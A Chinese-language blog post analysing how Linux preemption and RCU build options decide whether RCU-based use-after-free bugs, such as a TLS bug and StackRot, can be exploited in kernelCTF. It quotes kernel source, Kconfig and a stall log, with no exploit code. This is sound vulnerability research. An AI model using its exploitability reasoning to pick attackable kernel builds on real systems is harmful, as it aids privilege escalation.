宽限期是指从写侧发起同步开始,到所有在同步前已经存在的RCU临界区全部结束所经历的时间窗口。宽限期的长短取决于使用的同步原语,例如 synchronize_rcu_expedited 的宽限期极短,而 synchronize_rcucall_rcu 则较慢。但无论时间长短,宽限期的底线是必须完整覆盖同步开始时所有的现存并发读操作

synchronize_rcu/call_rcu 工作机制简介:根据等待参数 jiffies_till_first_fqs 等进行等待,等待超时,会发送IPI催促其他CPU进行调度;但IPI不会进行是否在RCU临界区的检测,只是催促调度;在 PREEMPT_NONE 的情况下,只要其他CPU上的内核线程不主动结束,发送再多IPI也没用;本质还是依赖其他CPU发生调度,可能发IPI加速这一过程,但不能强制;与本博客主线无关,可以通过这个链接自行学习研究

synchronize_rcu_expedited 工作机制简介:立即发送IPI,与 synchronize_rcu/call_rcu 在等待超时后发送的IPI不同,会进行是否在RCU临界区的检测,但根据编译配置,检测逻辑不同,这也导致了这个tls的bug没法利用;如果IPI报告仍有CPU在RCU临界区,根据等待参数 jiffies_till_first_fqs 等进行等待,超时后会再发IPI进行检测;IPI关于是否在RCU临界区的检测的逻辑,会在下一节中详细介绍

RCU的卡死检测:如果RCU宽限期超过 rcu_cpu_stall_timeout(可调整参数,默认21s),会打印卡住CPU的debug信息(含backtrace等);这能用来进行死锁检测,可以检测关中断/抢占原语(例如 spin_lock)导致的死锁;虽然不如lockdep准确,但lockdep有性能开销,生产环境一般不开,而RCU必开,猜测不少spin_lock死锁是通过RCU检测到的;一个示例报告如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rcu: INFO: rcu_sched self-detected stall on CPU
rcu: 0-....: (2099 ticks this GP) idle=a81c/1/0x4000000000000000 softirq=27043/27043 fqs=1046
rcu: hardirqs softirqs csw/system
rcu: number: 2421 218 0
rcu: cputime: 23 2 10463 ==> 10490(ms)
rcu: (t=2100 jiffies g=6981 q=1432 ncpus=2)
CPU: 0 UID: 0 PID: 9996 Comm: poc Not tainted 6.19.0-rc8-00001-g2882545008fe-dirty #12 NONE
Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:delay_tsc+0x27/0x70
Code: 90 90 90 f3 0f 1e fa 0f 1f 44 00 00 49 89 f8 65 44 8b 0d b0 bf 56 08 0f ae e8 0f 31 48 c1 e2 20 48 89 d7 48 09 c7 eb 11 f3 90 <65> 8b 35 96 bf 56 08 41 39 f1 75 1f 41 89 f1 0f ae e8 0f 31 48 c1
// 寄存器信息,省略
Call Trace:
<TASK>
// 栈信息,省略
</TASK>

抢占编译选项如何影响RCU

其主要受 CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU 影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
https://elixir.bootlin.com/linux/v6.17/source/kernel/Kconfig.preempt#L106
config PREEMPT_COUNT
bool

config PREEMPTION
bool
select PREEMPT_COUNT

config PREEMPT_BUILD
bool
select PREEMPTION
select UNINLINE_SPIN_UNLOCK if !ARCH_INLINE_SPIN_UNLOCK

config PREEMPT_DYNAMIC
bool "Preemption behaviour defined on boot"
depends on HAVE_PREEMPT_DYNAMIC
select JUMP_LABEL if HAVE_PREEMPT_DYNAMIC_KEY
select PREEMPT_BUILD
default y if HAVE_PREEMPT_DYNAMIC_CALL

https://elixir.bootlin.com/linux/v6.17/source/kernel/rcu/Kconfig#L19
config PREEMPT_RCU
bool
default y if (PREEMPT || PREEMPT_RT || PREEMPT_DYNAMIC)
select TREE_RCU

这是Kconfig文件,根据Kconfig语法,声明后规定类型,CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU 都是 bool

select 是如果此编译配置被选中,也选中其他配置;depends on 是指在依赖的编译配置被选中后,此配置才可见;default y 是指默认为 y

如果类型后跟了字符串说明,就是可配置选项,例如 PREEMPT_DYNAMIC,它的说明是 "Preemption behaviour defined on boot"

相似的,如果类型后不跟字符串说明,就是不可配置选项,用户无法设置(设置了也没用),完全由Kconfig计算得出

CONFIG_PREEMPT_RCU 进行分析,发现它目前的写法等价于CONFIG_PREEMPT/CONFIG_PREEMPT_RT/CONFIG_PREEMPT_DYNAMICselect PREEMPT_RCU

因为 CONFIG_PREEMPT_RCU 不能由用户配置,同时在几种配置下 default y

选择目前的写法而不是 select,是出于可维护性的考虑

它们所在的Kconfig文件不一样,这样可以实现编译选项隔离,把维护责任交给了更下层的编译选项(在这里是相对下层的RCU的Kconfig,从而减轻了相对上层的全内核抢占选项的Kconfig的维护压力)

下面的脚本可以证明这一点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
set -e

echo "[*] 备份当前 .config"
[ -f .config ] || { echo "[!] 错误:请在内核源码根目录运行"; exit 1; }
cp .config .config.bak

echo "[*] 实验:构造不可能配置 (PREEMPT_RT=y 且 PREEMPT_RCU=n)"

echo " -> 强制开启 PREEMPT_RT"
./scripts/config --enable CONFIG_PREEMPT_RT

echo " -> 强制关闭 PREEMPT_RCU(纯文本修改)"
./scripts/config --disable CONFIG_PREEMPT_RCU

echo "[*] 未经 Kconfig 处理的 .config 内容:"
grep -E "CONFIG_PREEMPT_RT|CONFIG_PREEMPT_RCU" .config

echo "[*] 运行 make prepare(触发 syncconfig)"
make prepare

echo "[*] Kconfig 自动清洗后的结果:"
RESULT=$(grep CONFIG_PREEMPT_RCU .config)
echo "$RESULT"

if [[ "$RESULT" == "CONFIG_PREEMPT_RCU=y" ]]; then
echo "[!] 实验结论:Kconfig 胜利,PREEMPT_RCU 被强制恢复为 y"
else
echo "[!] 实验结论:成功绕过,RT=y 且 RCU=n(理论上不应发生)"
fi

echo "[*] 恢复原始配置"
mv .config.bak .config
make olddefconfig > /dev/null
echo "[*] 完成"

进行实验,可以发现 CONFIG_PREEMPT_RCU 因为 CONFIG_PREEMPT_RT 开启计算得到为y,手动配置无用

根据kernelctf目标分析中给出的编译配置,可以发现,核心差异是

1
2
3
4
5
6
7
8
CONFIG_PREEMPT_NONE_BUILD=y 
CONFIG_PREEMPT_NONE=y # 2023配置未开启
# CONFIG_PREEMPT_VOLUNTARY is not set 但2023配置开启
# CONFIG_PREEMPT is not set
# CONFIG_PREEMPT_RT is not set
# CONFIG_PREEMPT_DYNAMIC is not set 但2023配置开启
CONFIG_SCHED_CORE=y
# CONFIG_SCHED_CLASS_EXT is not set

这里的关键是 CONFIG_PREEMPT_DYNAMIC,根据之前的Kconfig文件,其会计算选中两个不可配置选项 CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU

不同版本的RCU原语

CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU 开启的情况下,

rcu_read_lock / rcu_read_unlock 是进行标记的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// https://elixir.bootlin.com/linux/v6.17/source/include/linux/rcupdate.h#L837
static __always_inline void rcu_read_lock(void)
{
__rcu_read_lock();
__acquire(RCU);
rcu_lock_acquire(&rcu_lock_map);
RCU_LOCKDEP_WARN(!rcu_is_watching(),
"rcu_read_lock() used illegally while idle");
}


// https://elixir.bootlin.com/linux/v6.17/source/kernel/rcu/tree_plugin.h#L412
/*
* Preemptible RCU implementation for rcu_read_lock().
* Just increment ->rcu_read_lock_nesting, shared state will be updated
* if we block.
*/
void __rcu_read_lock(void)
{
rcu_preempt_read_enter();
if (IS_ENABLED(CONFIG_PROVE_LOCKING))
WARN_ON_ONCE(rcu_preempt_depth() > RCU_NEST_PMAX);
if (IS_ENABLED(CONFIG_RCU_STRICT_GRACE_PERIOD) && rcu_state.gp_kthread)
WRITE_ONCE(current->rcu_read_unlock_special.b.need_qs, true);
barrier(); /* critical section after entry code. */
}

可以看到,CONFIG_PREEMPT_RCU 版的 rcu_read_lock / rcu_read_unlock,实打实干事,标记临界区

而如果 CONFIG_PREEMPT_RCU 未开启的情况下,RCU临界区不能发生抢占

根据相关文档

1
2
3
4
https://elixir.bootlin.com/linux/v6.17/source/include/linux/rcupdate.h#L803
* Both synchronize_rcu() and call_rcu() also wait for regions of code
* with preemption disabled, including regions of code with interrupts or
* softirqs disabled.

关抢占,关中断的情况,本身就会被RCU同步原语等待,可以视作广义的RCU临界区(Linux 5.0之后)

因此,CONFIG_PREEMPT_RCU 未开启时,rcu_read_lock / rcu_read_unlock 只需要更改抢占状态

1
2
3
4
5
// https://elixir.bootlin.com/linux/v6.17/source/include/linux/rcupdate.h#L91
static inline void __rcu_read_lock(void)
{
preempt_disable();
}

具体到目前的kernelctf配置,CONFIG_PREEMPT_COUNT 未开启的情况下,preempt_disable 的实现是

1
2
3
4
5
6
7
8
// https://elixir.bootlin.com/linux/v6.17/source/include/linux/preempt.h#L286
/*
* Even if we don't have any preemption, we need preempt disable/enable
* to be barriers, so that we don't have things like get_user/put_user
* that can cause faults and scheduling migrate into our preempt-protected
* region.
*/
#define preempt_disable() barrier()

根据注释,其只是一个编译器屏障,目的是为了防止能睡眠的函数被编译器重排到 preempt_disable 之后(一旦发生睡眠,会主动让出CPU,发生事实抢占)

我们可以得出结论,rcu_read_lock / rcu_read_unlock 不会编译出任何指令,因此,没修 = 修了,use-after-free-by-RCU 都没法打

因此在写侧,synchronize_rcu/call_rcusynchronize_rcu_expedited 必须等到,在同步开始时,所有的其他CPU上的已经开始执行的并发内核线程都执行完

因为,在目前的编译配置下,任何并发内核线程,因为不能被抢占,都视作广义的RCU临界区

具体而言,synchronize_rcu/call_rcu 本身就是依赖其他CPU上的线程完成调度后主动汇报

在当前的抢占配置 CONFIG_PREEMPT_NONE 下,除非内核线程主动放弃CPU(例如执行结束返回用户态或主动睡眠),永远不会被抢占,进而不能发生CPU调度汇报状态

synchronize_rcu/call_rcu 会一直等

而对于 synchronize_rcu_expedited,其只有一个版本,不随编译配置改变,始终是立马向其他CPU发送IPI检查是否在RCU临界区

但其发送的IPI中断函数是 rcu_exp_handler,有两个版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

#ifdef CONFIG_PREEMPT_RCU //抢占版
// https://elixir.bootlin.com/linux/v6.17/source/kernel/rcu/tree_exp.h#L736
/*
* Remote handler for smp_call_function_single(). If there is an
* RCU read-side critical section in effect, request that the
* next rcu_read_unlock() record the quiescent state up the
* ->expmask fields in the rcu_node tree. Otherwise, immediately
* report the quiescent state.
*/
static void rcu_exp_handler(void *unused)
{
int depth = rcu_preempt_depth();
unsigned long flags;
struct rcu_data *rdp = this_cpu_ptr(&rcu_data);
struct rcu_node *rnp = rdp->mynode;
struct task_struct *t = current;

/*
* WARN if the CPU is unexpectedly already looking for a
* QS or has already reported one.
*/
ASSERT_EXCLUSIVE_WRITER_SCOPED(rdp->cpu_no_qs.b.exp);
if (WARN_ON_ONCE(!(READ_ONCE(rnp->expmask) & rdp->grpmask) ||
READ_ONCE(rdp->cpu_no_qs.b.exp)))
return;

/*
* Second, the common case of not being in an RCU read-side
* critical section. If also enabled or idle, immediately
* report the quiescent state, otherwise defer.
*/
if (!depth) {
if (!(preempt_count() & (PREEMPT_MASK | SOFTIRQ_MASK)) ||
rcu_is_cpu_rrupt_from_idle())
rcu_report_exp_rdp(rdp);
else
rcu_exp_need_qs();
return;
}

/*
* Third, the less-common case of being in an RCU read-side
* critical section. In this case we can count on a future
* rcu_read_unlock(). However, this rcu_read_unlock() might
* execute on some other CPU, but in that case there will be
* a future context switch. Either way, if the expedited
* grace period is still waiting on this CPU, set ->deferred_qs
* so that the eventual quiescent state will be reported.
* Note that there is a large group of race conditions that
* can have caused this quiescent state to already have been
* reported, so we really do need to check ->expmask.
*/
if (depth > 0) {
raw_spin_lock_irqsave_rcu_node(rnp, flags);
if (rnp->expmask & rdp->grpmask) {
WRITE_ONCE(rdp->cpu_no_qs.b.exp, true);
t->rcu_read_unlock_special.b.exp_hint = true;
}
raw_spin_unlock_irqrestore_rcu_node(rnp, flags);
return;
}

// Fourth and finally, negative nesting depth should not happen.
WARN_ON_ONCE(1);
}

#else /* #ifdef CONFIG_PREEMPT_RCU */ //无抢占版

/* Invoked on each online non-idle CPU for expedited quiescent state. */
static void rcu_exp_handler(void *unused)
{
struct rcu_data *rdp = this_cpu_ptr(&rcu_data);
struct rcu_node *rnp = rdp->mynode;
bool preempt_bh_enabled = !(preempt_count() & (PREEMPT_MASK | SOFTIRQ_MASK));

ASSERT_EXCLUSIVE_WRITER_SCOPED(rdp->cpu_no_qs.b.exp);
if (!(READ_ONCE(rnp->expmask) & rdp->grpmask) ||
__this_cpu_read(rcu_data.cpu_no_qs.b.exp))
return;
if (rcu_is_cpu_rrupt_from_idle() ||
(IS_ENABLED(CONFIG_PREEMPT_COUNT) && preempt_bh_enabled)) {
rcu_report_exp_rdp(this_cpu_ptr(&rcu_data));
return;
}
rcu_exp_need_qs();
}

可以看到,在 CONFIG_PREEMPT_RCU 开启的情况下

if (depth > 0) 分支检查是否在RCU临界区(根据是否持锁判断,具体的检测,非广义RCU临界区)

同时由于 CONFIG_PREEMPT_COUNT 开启,可以知道其他CPU是否在关抢占状态(在 if (!depth) 分支),从而进行广义RCU临界区检测

因此Use侧会被判定为不关抢占同时不持 rcu_read_lock / rcu_read_unlock,不算做在RCU临界区

故RCU同步可以顺利结束,进而释放内存,可以触发UAF

CONFIG_PREEMPT_RCU 不开启的情况下

不会检查是否在RCU临界区(也没法检查,rcu_read_lock / rcu_read_unlock 编译不出东西)

进一步,在 CONFIG_PREEMPT_NONE 条件下(进而不设置 CONFIG_PREEMPT_COUNT),任意内核线程都视作关抢占,都满足广义RCU临界区的条件

因此,即使 synchronize_rcu_expedited 不断发IPI也没用,IPI会始终报告有CPU算作在RCU临界区,只能继续等待,退化回了 synchronize_rcu/call_rcu 的等待执行完毕的情况

因此,Use侧不存在race窗口

对利用的影响

在现在的kernelctf编译配置下(CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU 未设置)

对于这个tls的bug,Free侧的 synchronize_rcu_expedited 即使发了IPI,也无法识别是否在RCU临界区,因为关抢占,视作广义RCU临界区,只能等Use侧执行结束,即使使用一些扩大窗口的技术,把Use侧拖得再长,也无法触发UAF

同理,对于StackRot,synchronize_rcu/call_rcu 也只能等Use侧执行结束,无法触发UAF

总结,现在打kernelctf,只要是 use-after-free-by-RCU,Use侧不存在任何的race窗口,除非这不是一个并发UAF(即串行可触发,如果真的发生,也与RCU机制无关了,证明Free侧替换指针没做好)

因此,未来的分析agent可以加一条prompt,过滤掉所有的RCU类bug

碎碎念

这里放了一些杂项和碎碎念

全部的内核抢占配置

有如下五种选项

  • PREEMPT_NONE:内核在内核态执行时绝不强制发生上下文切换,任务只有在主动睡眠、阻塞或返回用户态时才交出 CPU 控制权,以此最大化服务器的系统吞吐量
  • PREEMPT_VOLUNTARY:内核仅在代码中显式插入的 cond_resched() 检查点处才会主动检查并允许调度切换,以此在不大幅牺牲吞吐量的前提下略微改善系统的响应延迟
  • PREEMPT:内核可以在除了自旋锁保护的临界区之外的几乎任何地方,强行中断当前正在执行的内核态任务,以便立刻调度更高优先级的任务运行
  • PREEMPT_RT:内核通过将底层自旋锁替换为支持优先级继承的互斥锁并将大部分中断线程化,使几乎所有内核态代码都能被随时强制抢占,抢ROS饭碗
  • PREEMPT_LAZY:6.x版本后新引入的选项,在 PREEMPT 的基础上,减少对持锁线程的抢占,尽力使性能接近 PREEMPT_VOLUNTARY 的同时保留实时性

这五种选项互斥

以及一个特殊的 PREEMPT_DYNAMIC:允许系统在不重新编译的前提下,通过启动参数在上述非 RT 的抢占级别之间进行自由切换

如果不设置 PREEMPT_DYNAMIC,不能动态切换

如果同时设置 PREEMPT_DYNAMIC 和一种上述非 RT 的抢占级别,内核基本是按照 PREEMPT 编译(因为要动态切换,需要按功能最多/要求最高的配置来编译),同时设置的非 RT 的抢占级别作为启动时的默认抢占模式

例如,PREEMPT_DYNAMICPREEMPT_NONE 与只设置 PREEMPT_NONE 不同

PREEMPT_DYNAMICPREEMPT_NONE 的情况下,起主导的是 PREEMPT_DYNAMIC,会开启 CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU

只设置 PREEMPT_NONE 时,CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU 均不会开启

因此,可以推断,PREEMPT_DYNAMICPREEMPT_NONE的情况下,synchronize_rcu_expedited 能触发 use-after-free-by-RCU

因为 CONFIG_PREEMPT_RCU 开启,rcu_read_lock / rcu_read_unlock 不是空

IPI函数 rcu_exp_handler 可以在 if (depth > 0) 分支检查是否在RCU临界区(根据是否持锁判断,具体的检测,非广义RCU临界区)

同时由于 CONFIG_PREEMPT_COUNT 开启,可以知道其他CPU是否在关抢占状态(在 if (!depth) 分支),从而进行广义RCU临界区检测

因此Use侧会被判定为不关抢占同时不持 rcu_read_lock / rcu_read_unlock,不算做在RCU临界区

故RCU同步可以顺利结束,进而释放内存,可以触发UAF

与之对比,PREEMPT_DYNAMICPREEMPT_NONE的情况下,synchronize_rcu/call_rcu 不能触发 use-after-free-by-RCU

因为 synchronize_rcu/call_rcu 依赖其他CPU调度时报告工作,即使 CONFIG_PREEMPT_RCU 开启,rcu_read_lock / rcu_read_unlock 不空,但启动时模式默认是 PREEMPT_NONE,Use侧并发的内核线程绝不强制发生上下文切换,无法触发CPU调度进而报告状态,synchronize_rcu/call_rcu 还是只能一直等Use侧执行结束,否则RCU同步无法结束,对于这种情况,依然不存在race窗口,无法触发UAF

如果是只设置 PREEMPT_NONE,和上面的分析一致,所有的 use-after-free-by-RCU 都不能利用

中断与IPI

中断有三种

  • softirq 软中断
  • interrupts 硬中断
  • NMI 不可屏蔽中断

低级/同级中断不能中断当前中断,例如,SOFTIRQ不能中断SOFTIRQ,HARDIRQ和NMI同理

高级中断能中断低级中断,例如,HARDIRQ中断SOFTIRQ,NMI能中断HARDIRQ

IPI(Inter-Processor Interrupt,处理器间中断),是指在内核中,一个 CPU 主动向另一个 CPU 发送的中断信号,用于通知其立即执行特定内核任务

current_thread_info()->preempt_count 有四个标志位:

  • PREEMPT_MASK,如果设置,证明当前的进程不能抢占
  • SOFTIRQ_MASK,如果设置,证明在处理软中断
  • HARDIRQ_MASK,如果设置,证明在处理硬中断
  • NMI_MASK,如果设置,证明在处理不可屏蔽中断

与中断种类是对应的

synchronize_rcu_expedited 发送的IPI是一种硬中断

故其处理函数 rcu_exp_handler 不需要判断 HARDIRQ_MASK 和 NMI_MASK

因为它不会打断硬中断和不可屏蔽中断(因为只能打断低级中断)

关于StackRot的疑似描述错误

issue,不复制过来了

作者在另一个issue也承认他没有研究代码,只是做了猜测性的解释

RCU临界区禁止block

根据文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
https://elixir.bootlin.com/linux/v6.17/source/include/linux/rcupdate.h#L823
* You can avoid reading and understanding the next paragraph by
* following this rule: don't put anything in an rcu_read_lock() RCU
* read-side critical section that would block in a !PREEMPTION kernel.
* But if you want the full story, read on!
*
* In non-preemptible RCU implementations (pure TREE_RCU and TINY_RCU),
* it is illegal to block while in an RCU read-side critical section.
* In preemptible RCU implementations (PREEMPT_RCU) in CONFIG_PREEMPTION
* kernel builds, RCU read-side critical sections may be preempted,
* but explicit blocking is illegal. Finally, in preemptible RCU
* implementations in real-time (with -rt patchset) kernel builds, RCU
* read-side critical sections may be preempted and they may also block, but
* only when acquiring spinlocks that are subject to priority inheritance.

因此,RCU临界区内不能放任何会显式block的函数(例如get_user/put_user/msleep)

这点和spin_lock一致

为什么复现能触发

因为复现时的注入delay的patch用了 msleep,会主动睡眠

改成mdelay,同时使抢占相关的编译配置和现在的kernelctf的配置一致后,同样无法触发

此时的配置是只设置 PREEMPT_NONE(进而未开启 CONFIG_PREEMPT_COUNTCONFIG_PREEMPT_RCU),不能复现

如果设置 PREEMPT_DYNAMICPREEMPT_NONE,则可以复现成功

因为 PREEMPT_DYNAMICPREEMPT_NONE 支持Free侧是 synchronize_rcu_expedited 的 use-after-free-by-RCU

这个tls的bug正好满足条件

与全部的内核抢占配置一节的分析一致,原因也见那边

充分证明 只设置 PREEMPT_NONE 与 设置 PREEMPT_DYNAMICPREEMPT_NONE 存在显著差别

实验完美,充分验证了理论与猜想!

感悟

或许提权exp不难(找冷门模块或开不安全编译配置),但在kernelctf这个不断减小的攻击面下,确实很困难!

StackRot 如果用现在的kernelctf配置,居然也打不通

配置会严重影响可利用性,即使不是防护/加固相关的配置,第一次有了深刻认识

战胜了AI!

研究这个问题时,发现gpt/gemini/grok等LLM都分析不对,证明我还不是废物~

还没被AI淘汰,截止目前,大概吧(

n132的经验,共勉!

n132:我一个可以打的后面有5个不能打的😂

希望是 1/5

也学到了不少东西,第一次搞懂RCU

共勉!


关于内核RCU类型UAF的可利用性的思考
http://akaieurus.github.io/2026/02/14/2045-rcu-analysis/
作者
Eurus
发布于
2026年2月14日
许可协议